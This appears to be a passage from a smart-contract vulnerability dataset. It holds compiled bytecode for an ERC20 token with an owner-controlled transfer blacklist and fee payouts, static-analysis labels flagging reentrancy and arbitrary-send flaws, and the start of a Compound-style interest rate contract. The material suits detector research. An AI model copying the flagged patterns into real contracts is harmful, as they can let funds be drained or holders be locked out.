ffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f47454d0000000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fda18c576cf8ef28edac88cf85c204ae5616a15a1fefd6f969d3ffe0ecf33ec64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,222 |
0xdB30f2eD6A55A7De7031C2AC4119366068049145
|
pragma solidity ^0.5.16;
// Copied from compound/InterestRateModel
/**
* @title DeFilend's InterestRateModel Interface
* @author DeFil
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Copied from Compound/WhitePaperInterestRateModel
/**
* @title DeFilend's NormalInterestRateModel Contract
* @author DeFil
* @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper
*/
contract NormalInterestRateModel is InterestRateModel {
using SafeMath for uint;
event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock);
/**
* @notice The approximate number of blocks per year that is assumed by the interest rate model
*/
uint public constant blocksPerYear = 2102400;
/**
* @notice The multiplier of utilization rate that gives the slope of the interest rate
*/
uint public multiplierPerBlock;
/**
* @notice The base interest rate which is the y-intercept when utilization rate is 0
*/
uint public baseRatePerBlock;
/**
* @notice Construct an interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
*/
constructor(uint baseRatePerYear, uint multiplierPerYear) public {
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
